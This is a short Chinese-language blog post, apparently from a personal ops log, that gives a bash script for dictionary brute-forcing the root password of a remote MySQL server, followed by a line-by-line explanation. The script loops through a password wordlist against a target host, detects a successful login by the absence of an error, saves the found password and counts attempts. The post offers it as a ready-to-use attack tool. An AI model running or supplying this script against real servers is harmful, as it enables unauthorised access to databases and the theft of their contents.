linux shell配合密码字典破解远程mysql密码

葫芦的运维日志

下一篇 搜索 上一篇

浏览量 3954

2014/04/24 17:30


 

[cc lang="bash"]
#!/bin/bash
a=1
for t in `cat pass2`
do
mysql -u root -h “TARGETIP” -p$t 2>ss2
if [ ! -s ss2 ]
then
echo $t>password2
break
fi
echo "$a">ss3
a=$[ $a + 1 ]
cat /dev/null >ss2
done
[/cc]

pass2: 是密码字典文件

mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。

! -s ss2  :bash中-s 检查file是否存在并非空为真,加!为取反,因为程序最后又cat /dev/null >ss2 将ss2置空,如果mysql登陆测试密码不报错的话,将会执行echo $t>password2 并跳出程序。

 

echo "$a">ss3: 运行程序后 cat ss3将可得知执行了几次程序。

 

葫芦的运维日志

打赏

上一篇 搜索 下一篇
© 冰糖葫芦甜(bthlt.com) 2021 王梓打赏联系方式 陕ICP备17005322号-1